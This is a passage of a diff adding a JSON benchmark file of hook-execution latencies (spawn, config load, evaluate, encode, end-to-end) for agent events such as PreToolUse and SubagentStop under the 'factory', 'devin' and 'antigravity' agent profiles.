7.71 + ], + "evaluate": [ + 0.29, + 0.36, + 0.41 + ], + "encode": [ + 0.26, + 0.4, + 0.52 + ], + "other": [ + 1.58, + 1.85, + 1.93 + ], + "e2e": [ + 67.94, + 72.17, + 73.98 + ] + }, + "e2eMean": 68.11, + "e2eStddev": 2.57, + "e2eMin": 62.66, + "e2eMax": 73.98 + }, + "factory|PermissionDenied": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.62, + 65.7, + 66.25 + ], + "configLoad": [ + 3.95, + 7.09, + 7.7 + ], + "evaluate": [ + 0.14, + 0.17, + 0.28 + ], + "encode": [ + 0.25, + 0.27, + 0.42 + ], + "other": [ + 1.57, + 1.81, + 1.82 + ], + "e2e": [ + 67.25, + 71.44, + 76.01 + ] + }, + "e2eMean": 67.26, + "e2eStddev": 2.75, + "e2eMin": 61.09, + "e2eMax": 76.01 + }, + "factory|PostToolUse": { + "n": 50, + "matched": 6, + "customHooks": 1, + "phases": { + "spawn": [ + 61.09, + 66.04, + 68.44 + ], + "configLoad": [ + 4.03, + 7.11, + 7.55 + ], + "evaluate": [ + 0.65, + 0.71, + 0.95 + ], + "encode": [ + 0.26, + 0.32, + 0.43 + ], + "other": [ + 1.55, + 1.79, + 1.81 + ], + "e2e": [ + 67.81, + 72.64, + 74.87 + ] + }, + "e2eMean": 68.07, + "e2eStddev": 2.78, + "e2eMin": 61.44, + "e2eMax": 74.87 + }, + "factory|PostToolUseFailure": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.56, + 66.56, + 71.1 + ], + "configLoad": [ + 3.89, + 6.65, + 7.89 + ], + "evaluate": [ + 0.14, + 0.15, + 0.16 + ], + "encode": [ + 0.25, + 0.27, + 0.28 + ], + "other": [ + 1.57, + 1.79, + 1.97 + ], + "e2e": [ + 67.65, + 72.69, + 77.72 + ] + }, + "e2eMean": 67.6, + "e2eStddev": 3.34, + "e2eMin": 61.89, + "e2eMax": 77.72 + }, + "factory|Notification": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.05, + 66.87, + 67.92 + ], + "configLoad": [ + 3.91, + 7.16, + 7.25 + ], + "evaluate": [ + 0.15, + 0.16, + 0.18 + ], + "encode": [ + 0.25, + 0.27, + 0.28 + ], + "other": [ + 1.56, + 1.81, + 1.85 + ], + "e2e": [ + 67.19, + 73.29, + 76.83 + ] + }, + "e2eMean": 67.47, + "e2eStddev": 3.18, + "e2eMin": 62.1, + "e2eMax": 76.83 + }, + "factory|SubagentStart": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.58, + 66.6, + 68 + ], + "configLoad": [ + 4.01, + 6.87, + 7.58 + ], + "evaluate": [ + 0.14, + 0.17, + 0.23 + ], + "encode": [ + 0.25, + 0.28, + 0.35 + ], + "other": [ + 1.52, + 1.78, + 1.83 + ], + "e2e": [ + 67.14, + 72.5, + 74.38 + ] + }, + "e2eMean": 67.1, + "e2eStddev": 2.78, + "e2eMin": 62.58, + "e2eMax": 74.38 + }, + "factory|SubagentStop": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.87, + 65.36, + 68.91 + ], + "configLoad": [ + 3.98, + 7.43, + 37.83 + ], + "evaluate": [ + 0.15, + 0.16, + 0.17 + ], + "encode": [ + 0.25, + 0.28, + 0.3 + ], + "other": [ + 1.59, + 1.97, + 3.64 + ], + "e2e": [ + 68.01, + 74.02, + 106.64 + ] + }, + "e2eMean": 68.66, + "e2eStddev": 6.32, + "e2eMin": 60.71, + "e2eMax": 106.64 + }, + "factory|TaskCreated": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 62.02, + 68.02, + 70.17 + ], + "configLoad": [ + 4.04, + 7.19, + 7.36 + ], + "evaluate": [ + 0.15, + 0.17, + 0.24 + ], + "encode": [ + 0.25, + 0.29, + 0.41 + ], + "other": [ + 1.51, + 1.82, + 1.95 + ], + "e2e": [ + 67.98, + 74.38, + 76.27 + ] + }, + "e2eMean": 68.42, + "e2eStddev": 3.25, + "e2eMin": 61.86, + "e2eMax": 76.27 + }, + "factory|TaskCompleted": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 91.23, + 119.85, + 124.85 + ], + "configLoad": [ + 6.17, + 13.11, + 17.85 + ], + "evaluate": [ + 0.23, + 0.3, + 0.43 + ], + "encode": [ + 0.37, + 0.54, + 0.64 + ], + "other": [ + 1.92, + 5.87, + 8.65 + ], + "e2e": [ + 100.01, + 133.19, + 141.65 + ] + }, + "e2eMean": 97.04, + "e2eStddev": 25.14, + "e2eMin": 63.65, + "e2eMax": 141.65 + }, + "factory|Stop": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 62.82, + 89.52, + 97.19 + ], + "configLoad": [ + 4.06, + 7.16, + 8.7 + ], + "evaluate": [ + 0.15, + 0.24, + 0.26 + ], + "encode": [ + 0.26, + 0.4, + 0.45 + ], + "other": [ + 1.55, + 1.84, + 4.73 + ], + "e2e": [ + 68.91, + 95.36, + 108.71 + ] + }, + "e2eMean": 71.62, + "e2eStddev": 9.14, + "e2eMin": 64.15, + "e2eMax": 108.71 + }, + "factory|StopFailure": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.16, + 66.39, + 70.34 + ], + "configLoad": [ + 3.99, + 4.45, + 5.6 + ], + "evaluate": [ + 0.14, + 0.16, + 0.17 + ], + "encode": [ + 0.25, + 0.27, + 0.27 + ], + "other": [ + 1.59, + 1.77, + 1.93 + ], + "e2e": [ + 67.37, + 72.46, + 76.79 + ] + }, + "e2eMean": 67.78, + "e2eStddev": 3.01, + "e2eMin": 63.25, + "e2eMax": 76.79 + }, + "factory|TeammateIdle": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.7, + 66.36, + 73.19 + ], + "configLoad": [ + 4.04, + 5.48, + 7.11 + ], + "evaluate": [ + 0.15, + 0.17, + 0.28 + ], + "encode": [ + 0.25, + 0.33, + 0.4 + ], + "other": [ + 1.59, + 1.92, + 1.96 + ], + "e2e": [ + 68.06, + 72.47, + 79.27 + ] + }, + "e2eMean": 67.97, + "e2eStddev": 3.33, + "e2eMin": 61.31, + "e2eMax": 79.27 + }, + "factory|InstructionsLoaded": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.67, + 67.18, + 72.79 + ], + "configLoad": [ + 4.03, + 7.35, + 7.78 + ], + "evaluate": [ + 0.14, + 0.18, + 0.23 + ], + "encode": [ + 0.25, + 0.27, + 0.42 + ], + "other": [ + 1.53, + 1.77, + 1.87 + ], + "e2e": [ + 66.93, + 72.67, + 80.73 + ] + }, + "e2eMean": 67.09, + "e2eStddev": 3.57, + "e2eMin": 61.97, + "e2eMax": 80.73 + }, + "factory|ConfigChange": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.47, + 67.03, + 68.16 + ], + "configLoad": [ + 4.01, + 7.63, + 8.02 + ], + "evaluate": [ + 0.14, + 0.16, + 0.24 + ], + "encode": [ + 0.25, + 0.28, + 0.31 + ], + "other": [ + 1.59, + 1.81, + 1.91 + ], + "e2e": [ + 66.61, + 73.85, + 74.2 + ] + }, + "e2eMean": 67.19, + "e2eStddev": 3.01, + "e2eMin": 60.98, + "e2eMax": 74.2 + }, + "factory|CwdChanged": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.1, + 66.75, + 68.04 + ], + "configLoad": [ + 4.05, + 6.86, + 7.28 + ], + "evaluate": [ + 0.14, + 0.16, + 0.27 + ], + "encode": [ + 0.25, + 0.3, + 0.41 + ], + "other": [ + 1.59, + 1.84, + 2.01 + ], + "e2e": [ + 66.02, + 73.15, + 75.36 + ] + }, + "e2eMean": 66.8, + "e2eStddev": 3.15, + "e2eMin": 61.66, + "e2eMax": 75.36 + }, + "factory|FileChanged": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.85, + 65.89, + 69.01 + ], + "configLoad": [ + 3.99, + 6.75, + 37.55 + ], + "evaluate": [ + 0.14, + 0.15, + 0.26 + ], + "encode": [ + 0.25, + 0.28, + 0.39 + ], + "other": [ + 1.63, + 1.86, + 4.23 + ], + "e2e": [ + 67, + 72.16, + 103.74 + ] + }, + "e2eMean": 67.73, + "e2eStddev": 5.91, + "e2eMin": 62.26, + "e2eMax": 103.74 + }, + "factory|WorktreeCreate": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.07, + 64.94, + 67.97 + ], + "configLoad": [ + 4.13, + 4.88, + 7.78 + ], + "evaluate": [ + 0.14, + 0.16, + 0.21 + ], + "encode": [ + 0.25, + 0.27, + 0.36 + ], + "other": [ + 1.6, + 1.81, + 1.86 + ], + "e2e": [ + 66.45, + 71.44, + 74.37 + ] + }, + "e2eMean": 66.97, + "e2eStddev": 2.9, + "e2eMin": 61.77, + "e2eMax": 74.37 + }, + "factory|WorktreeRemove": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.72, + 67.98, + 70.3 + ], + "configLoad": [ + 3.97, + 7.4, + 7.67 + ], + "evaluate": [ + 0.14, + 0.16, + 0.16 + ], + "encode": [ + 0.25, + 0.28, + 0.49 + ], + "other": [ + 1.59, + 1.8, + 1.89 + ], + "e2e": [ + 67.11, + 74.15, + 75.5 + ] + }, + "e2eMean": 67.38, + "e2eStddev": 2.95, + "e2eMin": 62.03, + "e2eMax": 75.5 + }, + "factory|PreCompact": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.5, + 67.94, + 70.12 + ], + "configLoad": [ + 4.14, + 7.61, + 8.45 + ], + "evaluate": [ + 0.14, + 0.16, + 0.16 + ], + "encode": [ + 0.25, + 0.27, + 0.27 + ], + "other": [ + 1.61, + 1.85, + 1.94 + ], + "e2e": [ + 68.07, + 74.34, + 75.91 + ] + }, + "e2eMean": 68.21, + "e2eStddev": 3.36, + "e2eMin": 61.96, + "e2eMax": 75.91 + }, + "factory|PostCompact": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.08, + 65.5, + 69.13 + ], + "configLoad": [ + 3.94, + 7.21, + 7.54 + ], + "evaluate": [ + 0.14, + 0.16, + 0.17 + ], + "encode": [ + 0.25, + 0.27, + 0.27 + ], + "other": [ + 1.55, + 1.76, + 1.78 + ], + "e2e": [ + 67.71, + 71.7, + 74.1 + ] + }, + "e2eMean": 67.52, + "e2eStddev": 2.73, + "e2eMin": 62.13, + "e2eMax": 74.1 + }, + "factory|Elicitation": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.05, + 66.2, + 71.74 + ], + "configLoad": [ + 3.97, + 7.03, + 7.3 + ], + "evaluate": [ + 0.14, + 0.16, + 0.26 + ], + "encode": [ + 0.25, + 0.28, + 0.39 + ], + "other": [ + 1.61, + 1.78, + 1.83 + ], + "e2e": [ + 67.59, + 72.09, + 78.6 + ] + }, + "e2eMean": 67.73, + "e2eStddev": 3.05, + "e2eMin": 62.31, + "e2eMax": 78.6 + }, + "factory|ElicitationResult": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 62.72, + 71.4, + 74.57 + ], + "configLoad": [ + 4.07, + 6.97, + 7.83 + ], + "evaluate": [ + 0.15, + 0.24, + 0.25 + ], + "encode": [ + 0.26, + 0.4, + 0.5 + ], + "other": [ + 1.58, + 1.95, + 2.16 + ], + "e2e": [ + 69.01, + 77.67, + 81.85 + ] + }, + "e2eMean": 69.76, + "e2eStddev": 4.66, + "e2eMin": 62.01, + "e2eMax": 81.85 + }, + "factory|UserPromptExpansion": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 59.92, + 66.12, + 71.97 + ], + "configLoad": [ + 4.04, + 7.16, + 7.99 + ], + "evaluate": [ + 0.14, + 0.16, + 0.25 + ], + "encode": [ + 0.25, + 0.27, + 0.42 + ], + "other": [ + 1.61, + 1.86, + 1.94 + ], + "e2e": [ + 66.03, + 75.12, + 79.11 + ] + }, + "e2eMean": 67.19, + "e2eStddev": 3.53, + "e2eMin": 62.17, + "e2eMax": 79.11 + }, + "factory|PostToolBatch": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.9, + 65.39, + 66.18 + ], + "configLoad": [ + 4.03, + 7.24, + 7.41 + ], + "evaluate": [ + 0.14, + 0.17, + 0.18 + ], + "encode": [ + 0.25, + 0.29, + 0.31 + ], + "other": [ + 1.59, + 1.81, + 1.92 + ], + "e2e": [ + 66.44, + 71.33, + 74.72 + ] + }, + "e2eMean": 67.21, + "e2eStddev": 2.71, + "e2eMin": 62.47, + "e2eMax": 74.72 + }, + "factory|Setup": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.45, + 67.32, + 71.52 + ], + "configLoad": [ + 3.96, + 7.23, + 7.9 + ], + "evaluate": [ + 0.14, + 0.16, + 0.16 + ], + "encode": [ + 0.25, + 0.28, + 0.29 + ], + "other": [ + 1.58, + 1.81, + 1.89 + ], + "e2e": [ + 66.63, + 73.71, + 76.44 + ] + }, + "e2eMean": 67.32, + "e2eStddev": 3.24, + "e2eMin": 62.03, + "e2eMax": 76.44 + }, + "devin|SessionStart": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.63, + 66.06, + 67.03 + ], + "configLoad": [ + 3.96, + 4.59, + 7.47 + ], + "evaluate": [ + 0.14, + 0.16, + 0.18 + ], + "encode": [ + 0.25, + 0.27, + 0.28 + ], + "other": [ + 1.57, + 1.85, + 1.98 + ], + "e2e": [ + 67.9, + 71.39, + 72.86 + ] + }, + "e2eMean": 67.56, + "e2eStddev": 2.58, + "e2eMin": 61.64, + "e2eMax": 72.86 + }, + "devin|SessionEnd": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.75, + 67.62, + 70.56 + ], + "configLoad": [ + 3.92, + 7.07, + 7.85 + ], + "evaluate": [ + 0.14, + 0.17, + 0.23 + ], + "encode": [ + 0.25, + 0.3, + 0.4 + ], + "other": [ + 1.58, + 1.86, + 1.99 + ], + "e2e": [ + 67.87, + 73.73, + 75.94 + ] + }, + "e2eMean": 68.14, + "e2eStddev": 3.11, + "e2eMin": 61.39, + "e2eMax": 75.94 + }, + "devin|UserPromptSubmit": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.54, + 68.83, + 69.97 + ], + "configLoad": [ + 4.08, + 7.77, + 38.21 + ], + "evaluate": [ + 0.14, + 0.17, + 0.2 + ], + "encode": [ + 0.26, + 0.31, + 0.37 + ], + "other": [ + 1.59, + 1.91, + 3.7 + ], + "e2e": [ + 67.99, + 75.51, + 103.64 + ] + }, + "e2eMean": 68.9, + "e2eStddev": 5.85, + "e2eMin": 62.36, + "e2eMax": 103.64 + }, + "devin|PreToolUse": { + "n": 50, + "matched": 7, + "customHooks": 1, + "phases": { + "spawn": [ + 62.6, + 68.21, + 72.49 + ], + "configLoad": [ + 3.87, + 7.1, + 7.57 + ], + "evaluate": [ + 1.14, + 1.23, + 1.23 + ], + "encode": [ + 0.26, + 0.28, + 0.31 + ], + "other": [ + 1.6, + 1.84, + 1.93 + ], + "e2e": [ + 70.05, + 75.42, + 79.24 + ] + }, + "e2eMean": 70.04, + "e2eStddev": 3.14, + "e2eMin": 63.36, + "e2eMax": 79.24 + }, + "devin|PermissionRequest": { + "n": 50, + "matched": 1, + "customHooks": 1, + "phases": { + "spawn": [ + 61.24, + 68.08, + 69.31 + ], + "configLoad": [ + 4.02, + 4.55, + 8.03 + ], + "evaluate": [ + 0.29, + 0.32, + 0.32 + ], + "encode": [ + 0.25, + 0.29, + 0.29 + ], + "other": [ + 1.53, + 1.8, + 1.84 + ], + "e2e": [ + 67.28, + 74.13, + 74.96 + ] + }, + "e2eMean": 67.96, + "e2eStddev": 2.84, + "e2eMin": 62.81, + "e2eMax": 74.96 + }, + "devin|PermissionDenied": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.21, + 66.99, + 67.74 + ], + "configLoad": [ + 3.99, + 6.92, + 20.09 + ], + "evaluate": [ + 0.14, + 0.19, + 0.24 + ], + "encode": [ + 0.25, + 0.27, + 0.41 + ], + "other": [ + 1.57, + 1.84, + 3.35 + ], + "e2e": [ + 67.9, + 74.14, + 82.72 + ] + }, + "e2eMean": 68.57, + "e2eStddev": 3.41, + "e2eMin": 63.87, + "e2eMax": 82.72 + }, + "devin|PostToolUse": { + "n": 50, + "matched": 6, + "customHooks": 1, + "phases": { + "spawn": [ + 61.34, + 65.61, + 71.98 + ], + "configLoad": [ + 3.96, + 7.51, + 7.57 + ], + "evaluate": [ + 0.66, + 0.71, + 0.72 + ], + "encode": [ + 0.26, + 0.31, + 0.4 + ], + "other": [ + 1.58, + 1.86, + 1.87 + ], + "e2e": [ + 67.78, + 73.4, + 78.14 + ] + }, + "e2eMean": 68.29, + "e2eStddev": 3.2, + "e2eMin": 63, + "e2eMax": 78.14 + }, + "devin|PostToolUseFailure": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.17, + 67.89, + 72.44 + ], + "configLoad": [ + 4, + 5.26, + 6.98 + ], + "evaluate": [ + 0.14, + 0.19, + 0.2 + ], + "encode": [ + 0.26, + 0.29, + 0.36 + ], + "other": [ + 1.61, + 1.8, + 2.99 + ], + "e2e": [ + 67.16, + 73.41, + 77.91 + ] + }, + "e2eMean": 67.78, + "e2eStddev": 3.04, + "e2eMin": 61.94, + "e2eMax": 77.91 + }, + "devin|Notification": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.73, + 65.55, + 69.54 + ], + "configLoad": [ + 4.16, + 7.69, + 8.18 + ], + "evaluate": [ + 0.15, + 0.19, + 0.24 + ], + "encode": [ + 0.25, + 0.29, + 0.41 + ], + "other": [ + 1.62, + 1.91, + 2.11 + ], + "e2e": [ + 68.41, + 71.62, + 75.73 + ] + }, + "e2eMean": 68.24, + "e2eStddev": 2.69, + "e2eMin": 61.41, + "e2eMax": 75.73 + }, + "devin|SubagentStart": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.28, + 64.95, + 66.52 + ], + "configLoad": [ + 3.94, + 7.05, + 7.28 + ], + "evaluate": [ + 0.14, + 0.16, + 0.21 + ], + "encode": [ + 0.25, + 0.27, + 0.27 + ], + "other": [ + 1.54, + 1.79, + 1.89 + ], + "e2e": [ + 66.46, + 70.82, + 71.87 + ] + }, + "e2eMean": 66.52, + "e2eStddev": 2.4, + "e2eMin": 62.22, + "e2eMax": 71.87 + }, + "devin|SubagentStop": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.48, + 66.63, + 67.93 + ], + "configLoad": [ + 3.98, + 7.32, + 8.07 + ], + "evaluate": [ + 0.14, + 0.16, + 0.16 + ], + "encode": [ + 0.25, + 0.28, + 0.29 + ], + "other": [ + 1.58, + 1.76, + 1.81 + ], + "e2e": [ + 67.25, + 72.47, + 74.16 + ] + }, + "e2eMean": 67.25, + "e2eStddev": 2.82, + "e2eMin": 61.01, + "e2eMax": 74.16 + }, + "devin|TaskCreated": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 62.1, + 70.09, + 72.61 + ], + "configLoad": [ + 4.02, + 6.94, + 7.43 + ], + "evaluate": [ + 0.14, + 0.16, + 0.25 + ], + "encode": [ + 0.25, + 0.27, + 0.41 + ], + "other": [ + 1.56, + 1.75, + 1.85 + ], + "e2e": [ + 68.33, + 76.08, + 78.7 + ] + }, + "e2eMean": 68.82, + "e2eStddev": 4.08, + "e2eMin": 60.17, + "e2eMax": 78.7 + }, + "devin|TaskCompleted": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 62.13, + 70.09, + 77.24 + ], + "configLoad": [ + 3.98, + 7.28, + 7.96 + ], + "evaluate": [ + 0.14, + 0.18, + 0.27 + ], + "encode": [ + 0.25, + 0.4, + 0.5 + ], + "other": [ + 1.57, + 1.78, + 1.97 + ], + "e2e": [ + 68.2, + 76.3, + 82.61 + ] + }, + "e2eMean": 69.13, + "e2eStddev": 3.7, + "e2eMin": 63.51, + "e2eMax": 82.61 + }, + "devin|Stop": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 62.61, + 67.32, + 67.85 + ], + "configLoad": [ + 3.92, + 4.35, + 7.52 + ], + "evaluate": [ + 0.14, + 0.16, + 0.16 + ], + "encode": [ + 0.25, + 0.27, + 0.27 + ], + "other": [ + 1.53, + 1.78, + 1.85 + ], + "e2e": [ + 68.45, + 73.12, + 73.93 + ] + }, + "e2eMean": 67.97, + "e2eStddev": 2.86, + "e2eMin": 63.18, + "e2eMax": 73.93 + }, + "devin|StopFailure": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.37, + 66.72, + 70.86 + ], + "configLoad": [ + 4, + 7.11, + 8.14 + ], + "evaluate": [ + 0.14, + 0.16, + 0.24 + ], + "encode": [ + 0.25, + 0.29, + 0.43 + ], + "other": [ + 1.57, + 1.81, + 1.87 + ], + "e2e": [ + 67.88, + 73.2, + 77.35 + ] + }, + "e2eMean": 68.02, + "e2eStddev": 3.44, + "e2eMin": 61.16, + "e2eMax": 77.35 + }, + "devin|TeammateIdle": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.3, + 65.69, + 67.11 + ], + "configLoad": [ + 3.94, + 7.28, + 7.87 + ], + "evaluate": [ + 0.14, + 0.16, + 0.17 + ], + "encode": [ + 0.25, + 0.28, + 0.3 + ], + "other": [ + 1.56, + 1.84, + 1.86 + ], + "e2e": [ + 67.62, + 72.07, + 73.95 + ] + }, + "e2eMean": 67.66, + "e2eStddev": 2.71, + "e2eMin": 62.52, + "e2eMax": 73.95 + }, + "devin|InstructionsLoaded": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.71, + 65.57, + 66.74 + ], + "configLoad": [ + 4, + 7.52, + 8.11 + ], + "evaluate": [ + 0.14, + 0.17, + 0.17 + ], + "encode": [ + 0.25, + 0.29, + 0.36 + ], + "other": [ + 1.57, + 1.8, + 1.82 + ], + "e2e": [ + 67.29, + 72.45, + 75.45 + ] + }, + "e2eMean": 67.51, + "e2eStddev": 2.88, + "e2eMin": 61.88, + "e2eMax": 75.45 + }, + "devin|ConfigChange": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 62.07, + 66.64, + 68.52 + ], + "configLoad": [ + 3.94, + 5.22, + 7.41 + ], + "evaluate": [ + 0.15, + 0.21, + 0.26 + ], + "encode": [ + 0.25, + 0.33, + 0.43 + ], + "other": [ + 1.55, + 1.82, + 1.86 + ], + "e2e": [ + 67.85, + 72.5, + 74.89 + ] + }, + "e2eMean": 67.86, + "e2eStddev": 2.85, + "e2eMin": 61.92, + "e2eMax": 74.89 + }, + "devin|CwdChanged": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.72, + 64.28, + 69.92 + ], + "configLoad": [ + 4, + 6.95, + 7.17 + ], + "evaluate": [ + 0.14, + 0.16, + 0.23 + ], + "encode": [ + 0.25, + 0.28, + 0.39 + ], + "other": [ + 1.6, + 1.74, + 1.91 + ], + "e2e": [ + 67.06, + 70.06, + 75.87 + ] + }, + "e2eMean": 66.87, + "e2eStddev": 2.73, + "e2eMin": 61.19, + "e2eMax": 75.87 + }, + "devin|FileChanged": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.89, + 65.77, + 66.51 + ], + "configLoad": [ + 4.05, + 7.44, + 7.92 + ], + "evaluate": [ + 0.14, + 0.17, + 0.23 + ], + "encode": [ + 0.25, + 0.28, + 0.39 + ], + "other": [ + 1.57, + 1.72, + 1.87 + ], + "e2e": [ + 67.09, + 72.05, + 72.23 + ] + }, + "e2eMean": 67.17, + "e2eStddev": 2.56, + "e2eMin": 61.86, + "e2eMax": 72.23 + }, + "devin|WorktreeCreate": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.6, + 66.23, + 77.18 + ], + "configLoad": [ + 3.87, + 4.41, + 6.77 + ], + "evaluate": [ + 0.14, + 0.16, + 0.18 + ], + "encode": [ + 0.25, + 0.28, + 0.28 + ], + "other": [ + 1.54, + 1.82, + 1.86 + ], + "e2e": [ + 66.9, + 72.27, + 82.1 + ] + }, + "e2eMean": 67.27, + "e2eStddev": 3.45, + "e2eMin": 62.04, + "e2eMax": 82.1 + }, + "devin|WorktreeRemove": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 59.49, + 67.54, + 69.92 + ], + "configLoad": [ + 3.95, + 7.55, + 7.78 + ], + "evaluate": [ + 0.14, + 0.16, + 0.23 + ], + "encode": [ + 0.25, + 0.29, + 0.38 + ], + "other": [ + 1.52, + 1.75, + 1.81 + ], + "e2e": [ + 65.45, + 73.18, + 75.88 + ] + }, + "e2eMean": 66.65, + "e2eStddev": 3.22, + "e2eMin": 61.69, + "e2eMax": 75.88 + }, + "devin|PreCompact": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.77, + 66.56, + 69.2 + ], + "configLoad": [ + 4.02, + 4.99, + 7.22 + ], + "evaluate": [ + 0.14, + 0.16, + 0.21 + ], + "encode": [ + 0.25, + 0.28, + 0.39 + ], + "other": [ + 1.6, + 1.77, + 1.93 + ], + "e2e": [ + 67.31, + 72.45, + 74.84 + ] + }, + "e2eMean": 67.78, + "e2eStddev": 2.91, + "e2eMin": 62.22, + "e2eMax": 74.84 + }, + "devin|PostCompact": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.94, + 70.81, + 72.51 + ], + "configLoad": [ + 4, + 7.73, + 8.77 + ], + "evaluate": [ + 0.15, + 0.17, + 0.25 + ], + "encode": [ + 0.25, + 0.29, + 0.43 + ], + "other": [ + 1.59, + 1.84, + 4 + ], + "e2e": [ + 68.17, + 78.02, + 83.85 + ] + }, + "e2eMean": 68.84, + "e2eStddev": 4.46, + "e2eMin": 61.65, + "e2eMax": 83.85 + }, + "devin|Elicitation": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.32, + 64.76, + 66.83 + ], + "configLoad": [ + 4.07, + 7.42, + 8 + ], + "evaluate": [ + 0.14, + 0.16, + 0.18 + ], + "encode": [ + 0.25, + 0.28, + 0.3 + ], + "other": [ + 1.56, + 1.83, + 1.92 + ], + "e2e": [ + 67.97, + 71.92, + 73.56 + ] + }, + "e2eMean": 67.81, + "e2eStddev": 2.42, + "e2eMin": 63.35, + "e2eMax": 73.56 + }, + "devin|ElicitationResult": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.42, + 66.16, + 72.62 + ], + "configLoad": [ + 3.97, + 4.42, + 7.04 + ], + "evaluate": [ + 0.14, + 0.16, + 0.16 + ], + "encode": [ + 0.25, + 0.27, + 0.27 + ], + "other": [ + 1.58, + 1.81, + 1.99 + ], + "e2e": [ + 67.47, + 71.98, + 77.87 + ] + }, + "e2eMean": 67.45, + "e2eStddev": 2.82, + "e2eMin": 62.04, + "e2eMax": 77.87 + }, + "devin|UserPromptExpansion": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.54, + 66.97, + 68.21 + ], + "configLoad": [ + 4.05, + 4.35, + 7.93 + ], + "evaluate": [ + 0.14, + 0.16, + 0.2 + ], + "encode": [ + 0.25, + 0.27, + 0.28 + ], + "other": [ + 1.58, + 1.78, + 1.9 + ], + "e2e": [ + 66.8, + 73.45, + 74.14 + ] + }, + "e2eMean": 67.27, + "e2eStddev": 2.64, + "e2eMin": 62.21, + "e2eMax": 74.14 + }, + "devin|PostToolBatch": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.6, + 65.28, + 66.55 + ], + "configLoad": [ + 3.97, + 4.85, + 8.15 + ], + "evaluate": [ + 0.15, + 0.17, + 0.23 + ], + "encode": [ + 0.26, + 0.31, + 0.46 + ], + "other": [ + 1.52, + 1.79, + 1.82 + ], + "e2e": [ + 67.65, + 71.74, + 72.36 + ] + }, + "e2eMean": 67.37, + "e2eStddev": 2.54, + "e2eMin": 62.25, + "e2eMax": 72.36 + }, + "devin|Setup": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.25, + 66.99, + 70.38 + ], + "configLoad": [ + 4.04, + 7.38, + 7.91 + ], + "evaluate": [ + 0.14, + 0.16, + 0.24 + ], + "encode": [ + 0.26, + 0.28, + 0.29 + ], + "other": [ + 1.55, + 1.8, + 1.84 + ], + "e2e": [ + 66.39, + 72.61, + 76.91 + ] + }, + "e2eMean": 67.1, + "e2eStddev": 3.14, + "e2eMin": 62.82, + "e2eMax": 76.91 + }, + "antigravity|SessionStart": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.05, + 67.84, + 69.56 + ], + "configLoad": [ + 4.09, + 7.61, + 7.87 + ], + "evaluate": [ + 0.14, + 0.16, + 0.23 + ], + "encode": [ + 0.25, + 0.27, + 0.4 + ], + "other": [ + 1.63, + 1.8, + 4.13 + ], + "e2e": [ + 